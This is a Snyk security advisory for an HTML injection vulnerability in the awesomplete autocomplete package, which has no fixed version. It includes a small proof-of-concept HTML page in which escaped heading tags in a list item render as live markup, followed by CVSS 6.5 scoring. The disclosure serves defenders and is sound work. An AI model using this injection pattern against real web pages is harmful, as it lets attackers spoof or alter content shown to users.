HTML Injection Affecting awesomplete package, versions *


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-JS-AWESOMPLETE-174474
  • published 23 Apr 2019
  • disclosed 22 Apr 2019
  • credit ArthurHoaro

Introduced: 22 Apr 2019

CVE NOT AVAILABLE CWE-74 Open this link in a new tab

How to fix?

There is no fixed version for awesomplete.

Overview

awesomplete is a lightweight, customizable, autocomplete widget for web applications.

Affected versions of this package are vulnerable to HTML Injection due to not processing text containing html tags properly. This may allow attackers to inject arbitrary HTML into a vulnerable web page.

PoC

<html>
  <head>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/awesomplete/1.1.4/awesomplete.css" />
<script src="https://cdnjs.cloudflare.com/ajax/libs/awesomplete/1.1.4/awesomplete.js" async></script>

  </head>
  
  <body>
   <input class="awesomplete" data-list="#mylist" data-minchars="1" />
<ul id="mylist">
    <li> Seach for the following: &lt;h1&gt;Heading Tag Example&lt;/h1&gt;</li>
</ul>   
  </body>
</html>

References

CVSS Scores

version 3.1
Expand this section

Snyk

Recommended
6.5 medium
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    Low
  • Integrity (I)
    Low
  • Availability (A)
    None